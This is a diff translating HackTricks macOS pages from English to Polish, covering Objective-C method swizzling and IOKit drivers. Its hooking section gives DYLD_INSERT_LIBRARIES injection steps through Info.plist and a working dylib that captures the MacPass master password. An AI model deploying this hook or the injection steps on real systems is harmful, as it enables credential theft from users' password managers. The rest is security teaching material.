a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** +W ObjectiveC metoda jest wywoływana w następujący sposób: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** -It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` +Potrzebny jest **obiekt**, **metoda** i **parametry**. A gdy metoda jest wywoływana, **msg jest wysyłany** za pomocą funkcji **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` -The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**. +Obiekt to **`someObject`**, metoda to **`@selector(method1p1:p2:)`**, a argumenty to **value1**, **value2**. -Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**. +Podążając za strukturami obiektów, możliwe jest dotarcie do **tablicy metod**, gdzie **nazwy** i **wskaźniki** do kodu metod są **zlokalizowane**. > [!CAUTION] -> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov ` or [`class-dump `](https://github.com/nygard/class-dump) +> Zauważ, że ponieważ metody i klasy są dostępne na podstawie ich nazw, te informacje są przechowywane w binarnym pliku, więc możliwe jest ich odzyskanie za pomocą `otool -ov ` lub [`class-dump `](https://github.com/nygard/class-dump) ### Accessing the raw methods -It's possible to access the information of the methods such as name, number of params or address like in the following example: - +Możliwe jest uzyskanie informacji o metodach, takich jak nazwa, liczba parametrów lub adres, jak w poniższym przykładzie: ```objectivec // gcc -framework Foundation test.m -o test @@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p #import int main() { - // Get class of the variable - NSString* str = @"This is an example"; - Class strClass = [str class]; - NSLog(@"str's Class name: %s", class_getName(strClass)); +// Get class of the variable +NSString* str = @"This is an example"; +Class strClass = [str class]; +NSLog(@"str's Class name: %s", class_getName(strClass)); - // Get parent class of a class - Class strSuper = class_getSuperclass(strClass); - NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); +// Get parent class of a class +Class strSuper = class_getSuperclass(strClass); +NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); - // Get information about a method - SEL sel = @selector(length); - NSLog(@"Selector name: %@", NSStringFromSelector(sel)); - Method m = class_getInstanceMethod(strClass,sel); - NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); - NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); +// Get information about a method +SEL sel = @selector(length); +NSLog(@"Selector name: %@", NSStringFromSelector(sel)); +Method m = class_getInstanceMethod(strClass,sel); +NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); +NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); - // Iterate through the class hierarchy - NSLog(@"Listing methods:"); - Class currentClass = strClass; - while (currentClass != NULL) { - unsigned int inheritedMethodCount = 0; - Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); +// Iterate through the class hierarchy +NSLog(@"Listing methods:"); +Class currentClass = strClass; +while (currentClass != NULL) { +unsigned int inheritedMethodCount = 0; +Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); - NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); +NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); - for (unsigned int i = 0; i < inheritedMethodCount; i++) { - Method method = inheritedMethods[i]; - SEL selector = method_getName(method); - const char* methodName = sel_getName(selector); - unsigned long address = (unsigned long)method_getImplementation(m); - NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); - } +for (unsigned int i = 0; i < inheritedMethodCount; i++) { +Method method = inheritedMethods[i]; +SEL selector = method_getName(method); +const char* methodName = sel_getName(selector); +unsigned long address = (unsigned long)method_getImplementation(m); +NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); +} - // Free the memory allocated by class_copyMethodList - free(inheritedMethods); - currentClass = class_getSuperclass(currentClass); - } +// Free the memory allocated by class_copyMethodList +free(inheritedMethods); +currentClass = class_getSuperclass(currentClass); +} - // Other ways to call uppercaseString method - if([str respondsToSelector:@selector(uppercaseString)]) { - NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; - NSLog(@"Uppercase string: %@", uppercaseString); - } +// Other ways to call uppercaseString method +if([str respondsToSelector:@selector(uppercaseString)]) { +NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; +NSLog(@"Uppercase string: %@", uppercaseString); +} - // Using objc_msgSend directly - NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); - NSLog(@"Uppercase string: %@", uppercaseString2); +// Using objc_msgSend directly +NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); +NSLog(@"Uppercase string: %@", uppercaseString2); - // Calling the address directly - IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address - NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp - NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method - NSLog(@"Uppercase string: %@", uppercaseString3); +// Calling the address directly +IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address +NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp +NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method +NSLog(@"Uppercase string: %@", uppercaseString3); - return 0; +return 0; } ``` +### Method Swizzling z method_exchangeImplementations -### Method Swizzling with method_exchangeImplementations - -The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**. +Funkcja **`method_exchangeImplementations`** pozwala na **zmianę** **adresu** **implementacji** **jednej funkcji na drugą**. > [!CAUTION] -> So when a function is called what is **executed is the other one**. - +> Tak więc, gdy funkcja jest wywoływana, to **wykonywana jest ta druga**. ```objectivec //gcc -framework Foundation swizzle_str.m -o swizzle_str @@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add @implementation NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - NSLog(@"Custom implementation of substringFromIndex:"); +NSLog(@"Custom implementation of substringFromIndex:"); - // Call the original method - return [self swizzledSubstringFromIndex:from]; +// Call the original method +return [self swizzledSubstringFromIndex:from]; } @end int main(int argc, const char * argv[]) { - // Perform method swizzling - Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); - Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); - method_exchangeImplementations(originalMethod, swizzledMethod); +// Perform method swizzling +Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); +Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); +method_exchangeImplementations(originalMethod, swizzledMethod); - // We changed the address of one method for the other - // Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex - // And when swizzledSubstringFromIndex is called, substringFromIndex is really colled +// We changed the address of one method for the other +// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex +// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled - // Example usage - NSString *myString = @"Hello, World!"; - NSString *subString = [myString substringFromIndex:7]; - NSLog(@"Substring: %@", subString); +// Example usage +NSString *myString = @"Hello, World!"; +NSString *subString = [myString substringFromIndex:7]; +NSLog(@"Substring: %@", subString); - return 0; +return 0; } ``` - > [!WARNING] -> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running. +> W tym przypadku, jeśli **kod implementacji legit** metody **weryfikuje** **nazwę** **metody**, może **wykryć** to swizzling i zapobiec jego uruchomieniu. > -> The following technique doesn't have this restriction. +> Następująca technika nie ma tego ograniczenia. -### Method Swizzling with method_setImplementation +### Swizzling metod z method_setImplementation -The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**. - -Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address. +Poprzedni format jest dziwny, ponieważ zmieniasz implementację 2 metod jedna na drugą. Używając funkcji **`method_setImplementation`**, możesz **zmienić** **implementację** **metody na inną**. +Pamiętaj tylko, aby **zachować adres implementacji oryginalnej** metody, jeśli zamierzasz ją wywołać z nowej implementacji przed nadpisaniem, ponieważ później będzie znacznie trudniej zlokalizować ten adres. ```objectivec #import #import @@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL; @implementation NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - NSLog(@"Custom implementation of substringFromIndex:"); +NSLog(@"Custom implementation of substringFromIndex:"); - // Call the original implementation using objc_msgSendSuper - return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); +// Call the original implementation using objc_msgSendSuper +return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); } @end int main(int argc, const char * argv[]) { - @autoreleasepool { - // Get the class of the target method - Class stringClass = [NSString class]; +@autoreleasepool { +// Get the class of the target method +Class stringClass = [NSString class]; - // Get the swizzled and original methods - Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); +// Get the swizzled and original methods +Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); - // Get the function pointer to the swizzled method's implementation - IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); +// Get the function pointer to the swizzled method's implementation +IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); - // Swap the implementations - // It return the now overwritten implementation of the original method to store it - original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); +// Swap the implementations +// It return the now overwritten implementation of the original method to store it +original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); - // Example usage - NSString *myString = @"Hello, World!"; - NSString *subString = [myString substringFromIndex:7]; - NSLog(@"Substring: %@", subString); +// Example usage +NSString *myString = @"Hello, World!"; +NSString *subString = [myString substringFromIndex:7]; +NSLog(@"Substring: %@", subString); - // Set the original implementation back - method_setImplementation(originalMethod, original_substringFromIndex); +// Set the original implementation back +method_setImplementation(originalMethod, original_substringFromIndex); - return 0; - } +return 0; +} } ``` +## Metodologia Ataku Hooking -## Hooking Attack Methodology +Na tej stronie omówiono różne sposoby hookowania funkcji. Jednak polegały one na **uruchamianiu kodu wewnątrz procesu w celu ataku**. -In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**. +Aby to zrobić, najłatwiejszą techniką do użycia jest wstrzyknięcie [Dyld za pomocą zmiennych środowiskowych lub przejęcia](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Jednak przypuszczam, że można to również zrobić za pomocą [wstrzykiwania procesu Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). -In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). +Jednak obie opcje są **ograniczone** do **niechronionych** binarek/procesów. Sprawdź każdą technikę, aby dowiedzieć się więcej o ograniczeniach. -However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations. - -However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass. - -So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like: +Jednak atak hookowania funkcji jest bardzo specyficzny, atakujący zrobi to, aby **ukraść wrażliwe informacje z wnętrza procesu** (gdyby nie, po prostu przeprowadziłby atak wstrzykiwania procesu). A te wrażliwe informacje mogą znajdować się w aplikacjach pobranych przez użytkownika, takich jak MacPass. +Zatem wektorem ataku byłoby znalezienie luki lub usunięcie podpisu aplikacji, wstrzyknięcie zmiennej środowiskowej **`DYLD_INSERT_LIBRARIES`** przez Info.plist aplikacji, dodając coś takiego: ```xml LSEnvironment - DYLD_INSERT_LIBRARIES - /Applications/Application.app/Contents/malicious.dylib +DYLD_INSERT_LIBRARIES +/Applications/Application.app/Contents/malicious.dylib ``` - -and then **re-register** the application: - +a następnie **zarejestruj ponownie** aplikację: ```bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app ``` - -Add in that library the hooking code to exfiltrate the information: Passwords, messages... +Dodaj do tej biblioteki kod hookujący do eksfiltracji informacji: Hasła, wiadomości... > [!CAUTION] -> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore. - -#### Library example +> Zauważ, że w nowszych wersjach macOS, jeśli **usunięto podpis** binarnego pliku aplikacji i był on wcześniej uruchamiany, macOS **nie będzie już uruchamiać aplikacji**. +#### Przykład biblioteki ```objectivec // gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib @@ -331,27 +312,26 @@ static IMP real_setPassword = NULL; static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) { - // Function that will log the password and call the original setPassword(pass, file_path) method - NSLog(@"[+] Password is: %@", password); +// Function that will log the password and call the original setPassword(pass, file_path) method +NSLog(@"[+] Password is: %@", password); - // After logging the password call the original method so nothing breaks. - return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); +// After logging the password call the original method so nothing breaks. +return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); } // Library constructor to execute __attribute__((constructor)) static void customConstructor(int argc, const char **argv) { - // Get the real method address to not lose it - Class classMPDocument = NSClassFromString(@"MPDocument"); - Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); +// Get the real method address to not lose it +Class classMPDocument = NSClassFromString(@"MPDocument"); +Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); - // Make the original method setPassword call the fake implementation one - IMP fake_IMP = (IMP)custom_setPassword; - real_setPassword = method_setImplementation(real_Method, fake_IMP); +// Make the original method setPassword call the fake implementation one +IMP fake_IMP = (IMP)custom_setPassword; +real_setPassword = method_setImplementation(real_Method, fake_IMP); } ``` - -## References +## Odniesienia - [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index 5381cb0d0..11b481ff8 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. +I/O Kit to otwartoźródłowy, obiektowy **framework sterowników urządzeń** w jądrze XNU, obsługujący **dynamicznie ładowane sterowniki urządzeń**. Umożliwia dodawanie modularnego kodu do jądra w locie, wspierając różnorodny sprzęt. -IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**. +Sterowniki IOKit zasadniczo **eksportują funkcje z jądra**. Typy **parametrów** tych funkcji są **zdefiniowane z góry** i są weryfikowane. Ponadto, podobnie jak XPC, IOKit jest po prostu kolejną warstwą na **szczycie komunikatów Mach**. -**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). +**Kod jądra IOKit XNU** jest otwartoźródłowy i udostępniony przez Apple w [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Ponadto, komponenty IOKit w przestrzeni użytkownika są również otwartoźródłowe [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser). -However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.** - -It's written in **C++**. You can get demangled C++ symbols with: +Jednakże, **żadne sterowniki IOKit** nie są otwartoźródłowe. Tak czy inaczej, od czasu do czasu wydanie sterownika może zawierać symbole, które ułatwiają jego debugowanie. Sprawdź, jak [**uzyskać rozszerzenia sterownika z oprogramowania układowego tutaj**](./#ipsw)**.** +Jest napisany w **C++**. Możesz uzyskać zdemanglowane symbole C++ za pomocą: ```bash # Get demangled symbols nm -C com.apple.driver.AppleJPEGDriver @@ -23,210 +22,193 @@ c++filt __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` - > [!CAUTION] -> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with. +> Funkcje **exposed** IOKit mogą wykonywać **dodatkowe kontrole bezpieczeństwa**, gdy klient próbuje wywołać funkcję, ale należy zauważyć, że aplikacje są zazwyczaj **ograniczone** przez **sandbox**, z którymi funkcje IOKit mogą wchodzić w interakcje. -## Drivers +## Sterowniki -In macOS they are located in: +W macOS znajdują się w: - **`/System/Library/Extensions`** - - KEXT files built into the OS X operating system. +- Pliki KEXT wbudowane w system operacyjny OS X. - **`/Library/Extensions`** - - KEXT files installed by 3rd party software +- Pliki KEXT zainstalowane przez oprogramowanie firm trzecich -In iOS they are located in: +W iOS znajdują się w: - **`/System/Library/Extensions`** - ```bash #Use kextstat to print the loaded drivers kextstat Executing: /usr/bin/kmutil showloaded No variant specified, falling back to release Index Refs Address Size Wired Name (Version) UUID - 1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> - 9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> - 10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> +1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <> +9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5> +10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> ``` +Do numeru 9 wymienione sterowniki są **załadowane pod adresem 0**. Oznacza to, że nie są to prawdziwe sterowniki, ale **część jądra i nie mogą być odładowane**. -Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**. - -In order to find specific extensions you can use: - +Aby znaleźć konkretne rozszerzenia, możesz użyć: ```bash kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id kextfind -bundle-id -substring IOR #Search by substring in bundle-id ``` - -To load and unload kernel extensions do: - +Aby załadować i odładować rozszerzenia jądra, wykonaj: ```bash kextload com.apple.iokit.IOReportFamily kextunload com.apple.iokit.IOReportFamily ``` - ## IORegistry -The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other. - -You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS). +**IORegistry** jest kluczową częścią frameworka IOKit w macOS i iOS, który służy jako baza danych do reprezentowania konfiguracji sprzętowej i stanu systemu. To **hierarchiczna kolekcja obiektów, które reprezentują cały sprzęt i sterowniki** załadowane w systemie oraz ich wzajemne relacje. +Możesz uzyskać dostęp do IORegistry za pomocą cli **`ioreg`**, aby go zbadać z konsoli (szczególnie przydatne dla iOS). ```bash ioreg -l #List all ioreg -w 0 #Not cut lines ioreg -p #Check other plane ``` - -You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface. +Możesz pobrać **`IORegistryExplorer`** z **Xcode Additional Tools** z [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) i zbadać **macOS IORegistry** za pomocą **interfejsu graficznego**.
-In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer: +W IORegistryExplorer "płaszczyzny" są używane do organizowania i wyświetlania relacji między różnymi obiektami w IORegistry. Każda płaszczyzna reprezentuje określony typ relacji lub szczególny widok konfiguracji sprzętowej i sterowników systemu. Oto niektóre z powszechnych płaszczyzn, które możesz napotkać w IORegistryExplorer: -1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects. -2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI. -3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues. -4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices. -5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system. +1. **IOService Plane**: To najbardziej ogólna płaszczyzna, wyświetlająca obiekty usług, które reprezentują sterowniki i nuby (kanały komunikacyjne między sterownikami). Pokazuje relacje dostawca-klient między tymi obiektami. +2. **IODeviceTree Plane**: Ta płaszczyzna reprezentuje fizyczne połączenia między urządzeniami, gdy są podłączone do systemu. Często jest używana do wizualizacji hierarchii urządzeń podłączonych przez magistrale, takie jak USB lub PCI. +3. **IOPower Plane**: Wyświetla obiekty i ich relacje w kontekście zarządzania energią. Może pokazać, które obiekty wpływają na stan zasilania innych, co jest przydatne do debugowania problemów związanych z zasilaniem. +4. **IOUSB Plane**: Skoncentrowana na urządzeniach USB i ich relacjach, pokazując hierarchię hubów USB i podłączonych urządzeń. +5. **IOAudio Plane**: Ta płaszczyzna jest przeznaczona do reprezentowania urządzeń audio i ich relacji w systemie. 6. ... -## Driver Comm Code Example +## Przykład kodu komunikacji sterownika -The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it: - -- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service. -- It then establish a connection calling **`IOServiceOpen`**. -- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned). +Poniższy kod łączy się z usługą IOKit `"YourServiceNameHere"` i wywołuje funkcję wewnątrz selektora 0. W tym celu: +- najpierw wywołuje **`IOServiceMatching`** i **`IOServiceGetMatchingServices`**, aby uzyskać usługę. +- Następnie nawiązuje połączenie, wywołując **`IOServiceOpen`**. +- A na końcu wywołuje funkcję za pomocą **`IOConnectCallScalarMethod`**, wskazując selektor 0 (selektor to numer przypisany funkcji, którą chcesz wywołać). ```objectivec #import #import int main(int argc, const char * argv[]) { - @autoreleasepool { - // Get a reference to the service using its name - CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere"); - if (matchingDict == NULL) { - NSLog(@"Failed to create matching dictionary"); - return -1; - } +@autoreleasepool { +// Get a reference to the service using its name +CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere"); +if (matchingDict == NULL) { +NSLog(@"Failed to create matching dictionary"); +return -1; +} - // Obtain an iterator over all matching services - io_iterator_t iter; - kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to get matching services"); - return -1; - } +// Obtain an iterator over all matching services +io_iterator_t iter; +kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to get matching services"); +return -1; +} - // Get a reference to the first service (assuming it exists) - io_service_t service = IOIteratorNext(iter); - if (!service) { - NSLog(@"No matching service found"); - IOObjectRelease(iter); - return -1; - } +// Get a reference to the first service (assuming it exists) +io_service_t service = IOIteratorNext(iter); +if (!service) { +NSLog(@"No matching service found"); +IOObjectRelease(iter); +return -1; +} - // Open a connection to the service - io_connect_t connect; - kr = IOServiceOpen(service, mach_task_self(), 0, &connect); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to open service"); - IOObjectRelease(service); - IOObjectRelease(iter); - return -1; - } +// Open a connection to the service +io_connect_t connect; +kr = IOServiceOpen(service, mach_task_self(), 0, &connect); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to open service"); +IOObjectRelease(service); +IOObjectRelease(iter); +return -1; +} - // Call a method on the service - // Assume the method has a selector of 0, and takes no arguments - kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL); - if (kr != KERN_SUCCESS) { - NSLog(@"Failed to call method"); - } +// Call a method on the service +// Assume the method has a selector of 0, and takes no arguments +kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL); +if (kr != KERN_SUCCESS) { +NSLog(@"Failed to call method"); +} - // Cleanup - IOServiceClose(connect); - IOObjectRelease(service); - IOObjectRelease(iter); - } - return 0; +// Cleanup +IOServiceClose(connect); +IOObjectRelease(service); +IOObjectRelease(iter); +} +return 0; } ``` +Są **inne** funkcje, które można wykorzystać do wywoływania funkcji IOKit oprócz **`IOConnectCallScalarMethod`**, takie jak **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**... -There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**... +## Odwracanie punktu wejścia sterownika -## Reversing driver entrypoint +Możesz je uzyskać na przykład z [**obrazu oprogramowania układowego (ipsw)**](./#ipsw). Następnie załaduj go do swojego ulubionego dekompilatora. -You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler. - -You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function: +Możesz zacząć dekompilować funkcję **`externalMethod`**, ponieważ jest to funkcja sterownika, która będzie odbierać wywołanie i wywoływać odpowiednią funkcję:
